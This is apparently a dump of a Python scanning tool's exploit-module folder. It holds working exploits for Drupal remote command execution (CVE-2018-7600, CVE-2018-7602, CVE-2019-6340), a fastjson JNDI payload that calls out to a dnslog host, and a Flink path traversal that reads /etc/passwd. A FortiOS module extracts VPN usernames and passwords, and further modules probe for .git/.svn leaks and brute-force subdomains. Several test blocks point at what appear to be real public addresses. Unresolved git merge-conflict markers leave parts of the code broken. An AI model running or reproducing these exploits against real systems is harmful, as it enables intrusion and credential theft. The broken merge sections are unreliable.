__init__用来放置一些通用的数据,例如:漏洞名称、漏洞涉及系统、漏洞CVE编号、漏洞payload、漏洞验证路径 6 | ''' 7 | def __init__(self): 8 | self.vulname = 'demo' 9 | self.vulsystem= '' 10 | self.vulversion = '' 11 | self.refer= '' 12 | self.testisok=True 13 | 14 | self.vulpath='' 15 | self.payload='' 16 | self.verifypath='' 17 | self.flag='' 18 | 19 | ''' 20 | c2Func函数解析 21 | c2Func函数接收目标target,进行处理 22 | 返回状态statue、数据returnData 23 | > 状态statue允许4个值(定义于lib/code/static.py): 24 | RETRY(重试)=-1 25 | FAIL(失败)=0 26 | SUCCESS(成功)=1 27 | MORETRY(成功,且有目标需要重试)=10 28 | 29 | > 数据returnData允许3种类型: 'str' [str-list] (str|str-list,str|str-list) 30 | > str一般为字符串对象,也允许是可以通过str()转换为string类型的对象(类定义了__str__方法) 31 | > str-list则为上诉对象的列表 32 | 33 | demo场景1: 34 | 检测目标A是否存在漏洞vul 35 | 存在漏洞: status=1,returnData='%s has vul'%A 36 | 不存在漏洞: status=0,returnData='' 37 | 38 | demo场景2: 39 | 爆破目标端口 40 | 无法访问,返回: status=0,returnData='' 41 | 发现一个端口: status=1,returnData='80' 42 | 发现多个端口: status=1,returnData=['80','8080','9001'] 43 | 44 | demo场景3: 45 | 检测域名a.com(1级域名)的2、3级域名 46 | target为1级域名,程序生成大量需要爆破的2级域名,并返回: status=-1,returnData=[a.a.com,b.a.com,c.a.com,%col%.a.com ...] 47 | target为2级域名,程序检测发现不存在该域名,返回: status=0,returnData='' 48 | target为2级域名,程序检测发现存在该域名,并继续生成大量需要爆破的3级域名,返回: status=10,returnData=('www.a.com',[a.www.a.com,b.www.a.com,c.www.a.com,%col%.www.a.com ...]) 49 | target为3级域名,程序检测发现不存在该域名: status=0,returnData='' 50 | target为3级域名,程序检测发现存在该域名: status=1,returnData='image.www.a.com' 51 | 52 | 53 | 注意:由于当前程序的运行路径和本模块文件不一致, 54 | 所以如果需要读取外部文件a.txt,应该使用如下方法: 55 | 1、直接使用a.txt的绝对路径进行读取 56 | 2、将a.txt放置在本文件目录下,获取本文件的目录`os.path.dirname(os.path.abspath(__file__))`并os.path.join拼接a.txt,进行读取 57 | 3、将a.txt放置在data/目录下,可通过data/a.txt 进行读取 58 | ''' 59 | def c2Func(self,target): 60 | status = 0 61 | returnData = '' 62 | return status,returnData 63 | 64 | if __name__ == '__main__': 65 | target='hello' 66 | pocObj=c2Class() 67 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/demo2.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | requests.packages.urllib3.disable_warnings() 4 | 5 | class c2Class(object): 6 | def __init__(self): 7 | self.vulname = '漏洞名称' 8 | self.vulsystem= '涉及系统' 9 | self.vulsystemintro = '系统介绍' 10 | self.vulversion = '危害版本' 11 | self.fofa='搜索引擎语句' 12 | self.findtime='发现时间' 13 | self.cveid='cve号' 14 | self.refer= '参考' 15 | self.bbb='个人记录' 16 | self.testisok=True # 是否测试成功 17 | 18 | self.vulpath='' # 危害链接 19 | self.headers={} # 请求头 20 | self.payload='' # 危害数据 21 | self.flag = 200 # 利用成功标识 22 | 23 | 24 | def c2Func(self,target): 25 | status=0 26 | returnData='' 27 | 28 | # 1、处理目标格式 29 | if target.startswith(('http://','https://')): 30 | target=target+'/' 31 | target=target[:target.find('/',8)] # 32 | else: 33 | target='https://'+target 34 | try: 35 | # 2、准备攻击所需的数据 36 | url=target.strip('/')+self.vulpath 37 | # 3、开始攻击 38 | resp=requests.post(url=url,data=self.payload,headers=self.headers,verify=False,timeout=30) 39 | # 4、检测是否存在成功标识 40 | if self.flag == resp.status_code: 41 | status=1 42 | returnData='%s is vuln(%s) , vulpath: %s'\ 43 | ''%(target.strip('/'),self.vulname,url) 44 | except Exception as e: 45 | returnData=str(e) 46 | # 5、返回状态与数据 47 | return status,returnData 48 | 49 | if __name__ == '__main__': 50 | target='http://127.0.0.1/' 51 | pocObj=c2Class() 52 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/drupal/CVE-2018-7600.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import json 4 | ''' 5 | git clone https://github.com/vulhub/vulhub.git 6 | cd vulhub/drupal/CVE-2018-7600/ 7 | docker-compose build 8 | docker-compose up -d 9 | docker-compose ps 10 | 11 | 访问ip:8080 12 | 一路安装,选择sqlite数据库 13 | 14 | docker-compose down 15 | ''' 16 | class c2Class(object): 17 | def __init__(self): 18 | self.vulname = 'CVE-2018-7600' 19 | self.vulsystem= 'Drupal' 20 | self.vulversion = '6.x;7.x < 7.58;8.3 < 8.3.9;8.4 < 8.4.6;8.5 < 8.5.1' 21 | self.refer= 'https://github.com/zhzyker/exphub/blob/master/drupal/cve-2018-7600_cmd.py' 22 | self.testisok=True 23 | 24 | self.headers={'Content-Type': 'application/x-www-form-urlencoded'} 25 | self.vulpath='/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 26 | self.verifypath='/_temp.txt' 27 | self.cmd= 'whoami | tee %s'%self.verifypath 28 | self.payload={'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': '%s'%self.cmd} 29 | self.flag=200 30 | def c2Func(self,target): 31 | status=0 32 | returnData='' 33 | try: 34 | url=target.strip('/')+self.vulpath 35 | # print(url) 36 | resp=requests.post(url=url,data=self.payload,verify=True,timeout=2) 37 | # print(url) 38 | # print(self.payload) 39 | if self.flag == resp.status_code: 40 | url2=target+self.verifypath 41 | cmdresult=resp.json()[0]['data'].split(">>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e 48 | status=1 49 | except Exception as e: 50 | returnData=str(e) 51 | return status,returnData 52 | 53 | 54 | if __name__ == '__main__': 55 | target='http://192.168.128.132:8080' 56 | pocObj=c2Class() 57 | print(pocObj.c2Func(target)) 58 | -------------------------------------------------------------------------------- /pocmodules/drupal/CVE-2018-7602.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | from bs4 import BeautifulSoup 4 | ''' 5 | git clone https://github.com/vulhub/vulhub.git 6 | cd vulhub/drupal/CVE-2018-7602/ 7 | docker-compose build 8 | docker-compose up -d 9 | docker-compose ps 10 | 11 | 访问ip:8080 12 | 一路安装,选择sqlite数据库,设置用户名drupal,密码drupal 13 | 14 | docker-compose down 15 | ''' 16 | 17 | class c2Class(object): 18 | def __init__(self): 19 | self.vulname = 'CVE-2018-7602' 20 | self.vulsystem= 'Drupal' 21 | self.vulversion = '7.x <= 7.58' 22 | self.refer= 'https://github.com/zhzyker/exphub/blob/master/drupal/cve-2018-7602_cmd.py' 23 | self.testisok=True 24 | 25 | self.username='drupal' 26 | self.password='drupal' 27 | self.function='passthru' 28 | self.cmd='id' 29 | 30 | def c2Func(self,target): 31 | status=0 32 | returnData='' 33 | url=target.strip('/') 34 | try: 35 | session,user_id=self.getUserId(url) 36 | form_token=self.getFromToken(session,url,user_id) 37 | cmd_result=self.attack(session,url,user_id,form_token) 38 | <<<<<<< HEAD 39 | returnData='%s is bad.The vuln is cve-2018-7602.'\ 40 | 'The cmd [%s] execute result is [%s]'%(url,self.cmd,cmd_result.strip()) 41 | ======= 42 | returnData='%s is bad.The vuln is cve-2018-7602.The cmd [%s] execute result is [%s]'%(url,self.cmd,cmd_result.strip()) 43 | >>>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e 44 | status=1 45 | except Exception as e: 46 | returnData=e 47 | # print(e) 48 | return status,returnData 49 | 50 | def getUserId(self,target): 51 | try: 52 | session = requests.Session() 53 | get_data = {'q':'user/login'} 54 | post_data = {'form_id':'user_login', 'name': self.username, 'pass' : self.password, 'op':'Log in'} 55 | session.post(target, params=get_data, data=post_data, verify=False) 56 | 57 | get_data = {'q':'user'} 58 | r = session.get(target, params=get_data, verify=False) 59 | soup = BeautifulSoup(r.text, "html.parser") 60 | user_id = soup.find('meta', {'property': 'foaf:name'}).get('about') 61 | 62 | if ("?q=" in user_id): 63 | user_id = user_id.split("=")[1] 64 | return session,user_id 65 | except Exception as e: 66 | raise Exception('getUserId error') 67 | def getFromToken(self,session,target,user_id): 68 | get_data = {'q': user_id + '/cancel'} 69 | r = session.get(target, params=get_data, verify=False) 70 | soup = BeautifulSoup(r.text, "html.parser") 71 | form = soup.find('form', {'id': 'user-cancel-confirm-form'}) 72 | form_token = form.find('input', {'name': 'form_token'}).get('value') 73 | if form_token: 74 | return form_token 75 | else: 76 | raise Exception('getFromToken error') 77 | 78 | def attack(self,session,target,user_id,form_token): 79 | get_data = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + self.function + '&q[%23type]=markup&q[%23markup]=' + self.cmd } 80 | post_data = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'} 81 | r = session.post(target, params=get_data, data=post_data, verify=False) 82 | soup = BeautifulSoup(r.text, "html.parser") 83 | form = soup.find('form', {'id': 'user-cancel-confirm-form'}) 84 | form_build_id = form.find('input', {'name': 'form_build_id'}).get('value') 85 | if form_build_id: 86 | # print('[*] Poisoned form ID: ' + form_build_id) 87 | # print('[*] Triggering exploit to execute: ' + command) 88 | get_data = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id} 89 | post_data = {'form_build_id':form_build_id} 90 | r = session.post(target, params=get_data, data=post_data, verify=False) 91 | parsed_result = r.text.split('[{"command":"settings"')[0] 92 | if parsed_result: 93 | return parsed_result 94 | else: 95 | raise Exception('attack error') 96 | if __name__ == '__main__': 97 | target='http://192.168.128.133:8081/' 98 | pocObj=c2Class() 99 | print(pocObj.c2Func(target)) 100 | -------------------------------------------------------------------------------- /pocmodules/drupal/CVE-2019-6340.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | ''' 4 | docker search cve-2019-6340 5 | docker pull knqyf263/cve-2019-6340 6 | docker run -d --name cve-2019-6340-drupal -p 8080:80 knqyf263/cve-2019-6340 7 | // docker start cve-2019-6340-drupal 8 | docker ps -l 9 | docker stop cve-2019-6340-drupal 10 | // docker rm cve-2019-6340-drupal 11 | 12 | ''' 13 | 14 | class c2Class(object): 15 | def __init__(self): 16 | self.vulname = 'CVE-2019-6340' 17 | self.vulsystem= 'Drupal' 18 | self.vulversion = '< 8.6.10;< 8.5.12' 19 | self.refer= 'https://github.com/zhzyker/exphub/blob/master/drupal/cve-2019-6340_cmd.py' 20 | self.testisok=True 21 | 22 | self.headers = { 23 | 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", 24 | 'Connection': "close", 25 | 'Content-Type': "application/hal+json", 26 | 'Accept': "*/*", 27 | 'Cache-Control': "no-cache"} 28 | self.vulpath = '/node/?_format=hal_json' 29 | self.cmd= 'whoami' 30 | self.cmdlen=len(self.cmd) 31 | self.payload = "{\r\n \"link\": [\r\n {\r\n \"value\": \"link\",\r\n \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n }\r\n ],\r\n \"_links\": {\r\n \"type\": {\r\n \"href\": \"%s/rest/type/shortcut/default\"\r\n }\r\n }\r\n}" 32 | 33 | self.flag1=403 34 | self.flag2='u0027access' 35 | 36 | def c2Func(self,target): 37 | status=0 38 | returnData='' 39 | target=target.strip('/') 40 | try: 41 | url=target+self.vulpath 42 | payload=self.payload%(self.cmdlen,self.cmd,target) 43 | r=requests.request("POST", url=url, data=payload, headers=self.headers) 44 | if r.status_code==self.flag1 and self.flag2 in r.text: 45 | cmdresult=r.text.split("}")[1].strip() 46 | <<<<<<< HEAD 47 | returnData='%s is bad.The vuln is %s.The payload is %s.'\ 48 | 'The cmd [%s] execute result is [%s]'%(target,self.vulname,url,self.cmd,cmdresult) 49 | ======= 50 | returnData='%s is bad.The vuln is %s.The payload is %s.The cmd [%s] execute result is [%s]'%(target,self.vulname,url,self.cmd,cmdresult) 51 | >>>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e 52 | status=1 53 | except Exception as e: 54 | returnData=str(e) 55 | # print(e) 56 | return status,returnData 57 | if __name__ == '__main__': 58 | target='http://192.168.128.133:8080' 59 | pocObj=c2Class() 60 | print(pocObj.c2Func(target)) 61 | -------------------------------------------------------------------------------- /pocmodules/fastjson/1247.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import urllib 4 | import re 5 | requests.packages.urllib3.disable_warnings() 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'fastjson 1.2.47 RCE' 10 | self.vulsystem= 'fastjson' 11 | self.vulsystemintro = 'Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。' 12 | self.vulversion = '<1.2.48' 13 | self.fofa='' 14 | self.findtime='2019-08' 15 | self.cveid='' 16 | self.refer= 'https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/\nhttps://www.cnblogs.com/zhengjim/p/11433926.html' 17 | self.testisok=True 18 | 19 | if __file__[-3:]=='pyc': 20 | self._file=__file__[:-1] 21 | else: 22 | self._file=__file__ 23 | 24 | self.dnslog='x488lb.dnslog.cn' 25 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file)) 26 | 27 | self.headers = { 28 | 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", 29 | 'Connection': "close", 30 | 'Content-Type': "application/json"} 31 | self.payload='{"a":"' 32 | self.flag='com.alibaba.fastjson.JSONException: unclosed string' 33 | 34 | self.rc_host=re.compile('(?<=://).+?(?=[:/])') 35 | self.payload2='{"name":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, "f":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://%s/", "autoCommit":true}}, age:11}' 36 | self.flag2='set property error' 37 | 38 | 39 | 40 | def c2Func(self,target): 41 | status=0 42 | returnData='' 43 | if target.startswith(('http://','https://')): 44 | pass 45 | else: 46 | target='http://'+target 47 | try: 48 | url=target.strip('/')+'/' 49 | resp=requests.post(url=url,data=self.payload,headers=self.headers,verify=False,timeout=5) 50 | # print(url) 51 | # print(resp.text) 52 | if self.flag in resp.text: 53 | host=self.rc_host.search(url).group() 54 | dnslog='%s.%s'%(host,self.dnslog) 55 | payload=self.payload2%dnslog 56 | resp=requests.post(url=url,data=payload,headers=self.headers,verify=False,timeout=5) 57 | if self.flag2 in resp.text: 58 | returnData='%s is vuln(%s), u can check dnslog: %s'%(url,self.vulname,dnslog) # 59 | status=1 60 | else: 61 | returnData='%s use %s.u can try to attack it.'%(url,self.vulname) # 62 | status=1 63 | except Exception as e: 64 | returnData=str(e) 65 | return status,returnData 66 | 67 | if __name__ == '__main__': 68 | target='http://183.62.254.186:8889/' 69 | pocObj=c2Class() 70 | print(pocObj.c2Func(target)) 71 | -------------------------------------------------------------------------------- /pocmodules/flink/CVE-2020-17519.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import urllib 4 | requests.packages.urllib3.disable_warnings() 5 | 6 | class c2Class(object): 7 | def __init__(self): 8 | self.vulname = 'Apache Flink jobmanager/logs Path Traversal ' 9 | self.vulsystem= 'Apache Flink' 10 | self.vulsystemintro = 'Apache Flink是由Apache软件基金会开发的开源流处理框架,'\ 11 | '其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,'\ 12 | 'Flink的流水线运行时系统可以执行批处理和流处理程序。' 13 | self.vulversion = '1.11.0、1.11.1、1.11.2' 14 | self.fofa='app="APACHE-Flink"' 15 | self.findtime='2021-01' 16 | self.cveid='CVE-2020-17519' 17 | self.refer= 'https://blog.csdn.net/xuandao_ahfengren/article/details/112260367\nhttps://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519' 18 | self.testisok=True 19 | 20 | self.vulpath='/jobmanager/logs/' 21 | self.readfile='../'*12+'/etc/passwd' 22 | self.payload=urllib.urlencode({'':urllib.urlencode({'':self.readfile})[1:]})[1:] # ..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F%252Fetc%252Fpasswd 23 | self.flag='root:x' 24 | 25 | # https://github.com/LandGrey/flink-unauth-rce/ 26 | # self.vulpath2='/jars/upload' 27 | # params = {"jarfile": ('cmd.jar',open('cmd.jar'),'application/octet-stream') 28 | # self.flag1=400 29 | 30 | def c2Func(self,target): 31 | status=0 32 | returnData='' 33 | if target.startswith(('http://','https://')): 34 | if '#' in target: 35 | target=target[:target.index('#')] 36 | else: 37 | target='http://'+target 38 | try: 39 | url=target.strip('/')+self.vulpath+self.payload 40 | resp=requests.get(url=url,verify=False,timeout=5) 41 | # print(url) 42 | # print(resp.text) 43 | if self.flag in resp.text: 44 | returnData='%s is bad.The vuln is %s.The payload is [%s], '\ 45 | 'the result is [%s].'%(target.strip('/'),self.vulname,url,resp.text.strip()) # 46 | status=1 47 | except Exception as e: 48 | returnData=str(e) 49 | return status,returnData 50 | 51 | if __name__ == '__main__': 52 | target='http://192.168.128.129:8089/#/overview' 53 | pocObj=c2Class() 54 | print(pocObj.c2Func(target)) 55 | -------------------------------------------------------------------------------- /pocmodules/fortios/CVE-2018-13379.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests,re 3 | requests.packages.urllib3.disable_warnings() 4 | 5 | class c2Class(object): 6 | def __init__(self): 7 | self.vulname = 'Fortinet FortiOS路径遍历漏洞' 8 | self.vulsystem= 'FortiOS' 9 | self.vulversion = '5.6.3-5.6.7、6.0.0-6.0.4' 10 | self.cve = 'CVE-2018-13379' 11 | self.findtime='2019-05' 12 | self.refer= 'https://blog.csdn.net/limb0/article/details/102890683' 13 | self.testisok=True 14 | 15 | self.vulpath='/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession' 16 | self.check_rc=re.compile('[^ ]+') 17 | self.flag=200 18 | self.flag2='fgt_lang' 19 | self.flag3=10 20 | self.check_rc2=re.compile(r'(?:[0-2]?[0-9]?[0-9]+\.){3}(?:[0-2]?[0-9]?[0-9])') 21 | 22 | self.recovered1=403 23 | self.recovered2=404 24 | 25 | def c2Func(self,target): 26 | status=0 27 | returnData='' 28 | if target.startswith(('https://')): 29 | pass 30 | else: 31 | target='https://'+target 32 | try: 33 | url=target.strip('/')+self.vulpath 34 | resp=requests.get(url=url,verify=False,timeout=2) 35 | _tmprespdata=self.check_rc.findall(resp.content.replace('\x00',' ')) 36 | # print(_tmprespdata) 37 | # print(resp.status_code) 38 | if self.flag == resp.status_code and self.flag2 in _tmprespdata and self.flag30: 43 | userpwd[_tmprespdata[i+1]]=_tmprespdata[i+2] 44 | returnData='%s is bad.The vuln is CVE-2018-13379.The payloa is [%s], '\ 45 | 'the ssl user:pass is [%s].'%(target.strip('/'),url,userpwd) # 46 | status=1 47 | except Exception as e: 48 | returnData=str(e) 49 | return status,returnData 50 | 51 | if __name__ == '__main__': 52 | target='https://180.150.129.244/' 53 | pocObj=c2Class() 54 | print(pocObj.c2Func(target)) 55 | -------------------------------------------------------------------------------- /pocmodules/get-title.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import re 4 | 5 | requests.packages.urllib3.disable_warnings() 6 | 7 | 8 | 9 | class c2Class(object): 10 | def __init__(self): 11 | self.headers={ 12 | 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0', 13 | 'Connection':'close'} 14 | self.rc_title=re.compile(r'(?<=|<TITLE>)[\s\S]+?(?=|)') 15 | # 抓取标题的正则表达式列表 16 | self.rc_retry=[ 17 | re.compile(r'(?<=)'), 18 | re.compile(r'(?<=[window|document]\.location\.href=")[\s\S]+?(?=")'), 19 | re.compile(r'(?<=window.open\(")[\s\S]+?(?=")'), 20 | re.compile(r'(?<=这样格式的数据 31 | target=target+'/' 32 | target=target[:target.find('/',8)] # len('https://') = 8 33 | else: 34 | target='http://'+target 35 | try: 36 | url=target.strip('/')+self.vulpath 37 | resp=requests.get(url=url,verify=False,timeout=2) 38 | # print(url) 39 | # if self.flag == resp.status_code: 40 | # print(resp.text) 41 | if self.flag == resp.status_code and resp.text.__contains__(self.flag1): 42 | returnData='%s is bad.The vuln is %s.The /'\ 43 | 'payloa is [%s], the result is [%s].'%(target.strip('/'),self.vulname,url,resp.text.strip().replace('\n',' ')) # 44 | status=1 45 | except Exception as e: 46 | # print(e) 47 | returnData=str(e) 48 | return status,returnData 49 | 50 | if __name__ == '__main__': 51 | target='192.168.3.12' 52 | pocObj=c2Class() 53 | print(pocObj.c2Func(target)) 54 | -------------------------------------------------------------------------------- /pocmodules/leak/git.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | requests.packages.urllib3.disable_warnings() 4 | 5 | 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'Git Leak' 10 | self.vulsystem= 'git' 11 | self.vulsystemintro = 'Git 是一个开源的分布式版本控制系统' 12 | self.vuldesc='git会在代码目录下生成.git文件夹,其中会包含代码的备份,如果未限制对.git目录的访问,则攻击者可以读取该目录,下载代码备份。' 13 | self.vulversion = '' 14 | self.fofa='' 15 | self.findtime='' 16 | self.refer= '' 17 | self.pyv=2 18 | self.testisok=True 19 | 20 | self.vulpath='/.git/HEAD' 21 | self.flag=200 22 | 23 | def c2Func(self,target): 24 | status=0 25 | returnData='' 26 | 27 | flag=0 28 | try: 29 | if target.startswith(('http://','https://')): 30 | # 这是为了拿到 这样格式的数据 31 | target=target+'/' 32 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/ 33 | else: 34 | target='http://'+target 35 | 36 | url=target+self.vulpath 37 | resp=requests.get(url=url,verify=False,timeout=5) 38 | 39 | if self.flag == resp.status_code: 40 | returnData='%s is vlun(%s), vulpath:%s .u can attack by GitHack'\ 41 | ''%(target,self.vulname,url) 42 | except Exception as e: 43 | # print(e) 44 | returnData=str(e) 45 | return status,returnData 46 | 47 | if __name__ == '__main__': 48 | target='http://45.60.7.55:16010/.git/HEAD' 49 | # target='http://101.226.168.75:8888' 50 | pocObj=c2Class() 51 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/leak/svn.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | requests.packages.urllib3.disable_warnings() 4 | 5 | 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'SVN Leak' 10 | self.vulsystem= 'svn' 11 | self.vulsystemintro = 'SVN 是一个开源的集中式版本控制系统' 12 | self.vuldesc='SVN会在代码目录下生成.svn文件夹,其中会包含代码的备份,如果未限制对.SVN目录的访问,则攻击者可以读取该目录,下载代码备份。' 13 | self.vulversion = '' 14 | self.fofa='' 15 | self.findtime='' 16 | self.refer= '' 17 | self.pyv=2 18 | self.testisok=True 19 | 20 | self.vulpath='/.svn/entries' 21 | self.flag=200 22 | 23 | def c2Func(self,target): 24 | status=0 25 | returnData='' 26 | 27 | flag=0 28 | try: 29 | if target.startswith(('http://','https://')): 30 | # 这是为了拿到 这样格式的数据 31 | target=target+'/' 32 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/ 33 | else: 34 | target='http://'+target 35 | 36 | url=target+self.vulpath 37 | resp=requests.get(url=url,verify=False,timeout=5) 38 | # print(resp.status_code) 39 | if self.flag == resp.status_code: 40 | returnData='%s is vlun(%s), vulpath: %s .u can attack by svnExploit'\ 41 | ''%(target,self.vulname,url) 42 | except Exception as e: 43 | # print(e) 44 | returnData=str(e) 45 | return status,returnData 46 | 47 | if __name__ == '__main__': 48 | target='http://trafficbonus.com/.svn/entries' 49 | # target='http://101.226.168.75:8888' 50 | pocObj=c2Class() 51 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/ljjsdb.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import random 3 | import dns.resolver 4 | 5 | class domainClass(object): 6 | def __init__(self,priority,domain): 7 | self.priority = priority 8 | self.domain = domain 9 | 10 | def __lt__(self,other): 11 | return self.priority < other.priority 12 | 13 | def __str__(self): 14 | return self.domain 15 | 16 | 17 | class c2Class(object): 18 | def __init__(self): 19 | self.name=' lijiejie/subDomainsBrute' 20 | self.description='A fast sub domain brute tool for pentesters' 21 | self.refer='https://github.com/lijiejie/subDomainsBrute' 22 | 23 | self.rootdomain = None 24 | self.nextsubs = set() 25 | self.next_sub_file='data\\next_sub.txt' # 通配符{next_sub}对应的子域集合 26 | self.subs_file='data\\subnames.txt' # 爆破使用的子域集合 27 | 28 | with open(self.next_sub_file) as f: 29 | for i in f: 30 | i = i.strip() 31 | self.nextsubs.add(i) 32 | self.regex_list = { 33 | '{next_sub}':self.nextsubs, 34 | '{alphnum}':'abcdefghijklmnopqrstuvwxyz0123456789', 35 | '{alpha}':'abcdefghijklmnopqrstuvwxyz', 36 | '{num}':'0123456789'} 37 | self.subs = set() 38 | with open(self.subs_file) as f: 39 | for i in f: 40 | i = i.strip() 41 | self.subs.add(i) 42 | self.depth = 5 # 检测深度,默认向下检测5级域名 43 | self.startlevel = 0 44 | self.timeout_comain = {} 45 | self.dns_servers = [] 46 | # dns解析器集生成 47 | from gevent.pool import Pool 48 | pool = Pool(6) 49 | for s in ['119.29.29.29','182.254.116.116','114.114.115.115','114.114.114.114','223.5.5.5','223.6.6.6']: 50 | pool.apply_async(self.test_server, (s, self.dns_servers)) 51 | pool.join() 52 | self.resolvers = [dns.resolver.Resolver(configure=False) for _ in range(100)] 53 | for r in self.resolvers: 54 | r.lifetime = 4 55 | r.timeout = 10.0 56 | i1 = random.choice(range(len(self.dns_servers))) 57 | i2 = (i1+1)%len(self.dns_servers) 58 | r.nameservers = [self.dns_servers[i1],self.dns_servers[i2]] 59 | self.find_subdomains=set() 60 | 61 | 62 | def c2Func(self,target): 63 | # 选择dns解析器 64 | resolver = random.choice(self.resolvers) 65 | cdomain = str(target) 66 | # 设置根域 67 | if self.rootdomain == None: 68 | self.rootdomain = cdomain 69 | self.startlevel = cdomain.count('.') 70 | # 如果当前域名级别比查询最高级还高,直接退出、 71 | if cdomain.count('.') > self.startlevel+self.depth: 72 | return 0,'' 73 | # 根域需要子域赋值 74 | if self.rootdomain == cdomain: 75 | keepcheck = self.sdbGenerate(cdomain) 76 | return -1,keepcheck 77 | # 替换占位符 78 | for r in self.regex_list: 79 | if r in cdomain: 80 | keepcheck=[] 81 | for i in self.regex_list[r]: 82 | keepcheck.append(domainClass(cdomain.count('.'),cdomain.replace(r,i,1))) 83 | return -1,keepcheck 84 | # 进行查询 85 | try: 86 | answers = resolver.query(cdomain) 87 | if answers:# 查询成功 88 | if cdomain in self.find_subdomains: 89 | raise Exception('Repeat domain') # 如果存在则报异常 90 | self.find_subdomains.add(cdomain) 91 | ips = ', '.join(sorted([answer.address for answer in answers])) 92 | info = cdomain + '->' + ips 93 | if cdomain.count('.') == self.startlevel+self.depth: #达到深度 94 | return 1,cdomain+'->'+ips # 直接返回 95 | keepbrute = [] 96 | try: # 查询cname 97 | answers = resolver.query(cdomain,'cname') 98 | cname = answers[0].target.to_unicode().rstrip('.') 99 | if cname.endswith(self.rootdomain) and cname not in self.find_subdomains: # 根域之下且不是已发现的域名 100 | self.find_subdomains.add(cname) 101 | info = info+'|'+cname 102 | keepbrute.append(domainClass(cname.count('.'),cname)) 103 | except Exception as e: 104 | pass 105 | # 下一个深度的子域赋值 106 | keepbrute.extend(self.sdbGenerate(cdomain)) 107 | return 10,(info,keepbrute) 108 | except dns.resolver.NoNameservers as e: # ns不可访问 109 | return -1,domainClass(cdomain.count('.'),cdomain) 110 | except dns.exception.Timeout as e:# 查询延时 111 | self.timeout_comain[cdomain] = self.timeout_comain.get(cdomain, 0) + 1 112 | if self.timeout_comain[cdomain] <=1: 113 | return -1,domainClass(cdomain.count('.'),cdomain) 114 | except (dns.resolver.NoAnswer,dns.resolver.NXDOMAIN) as e: # 查询不到域名 115 | pass 116 | except dns.name.EmptyLabel as e: 117 | pass 118 | except Exception as e: 119 | # print(e) 120 | pass 121 | return 0,'' 122 | 123 | # 可信dns服务器检测 124 | def test_server(self,server,dns_servers): 125 | resolver = dns.resolver.Resolver(configure=False) 126 | resolver.lifetime = resolver.timeout = 5.0 127 | resolver.nameservers = [server] 128 | try: 129 | answers = resolver.query('public-dns-a.baidu.com') 130 | if answers[0].address != '180.76.76.76': 131 | raise Exception('Incorrect DNS response') 132 | try: 133 | resolver.query('false.domain.123.123.baidu.com') 134 | except Exception as e: 135 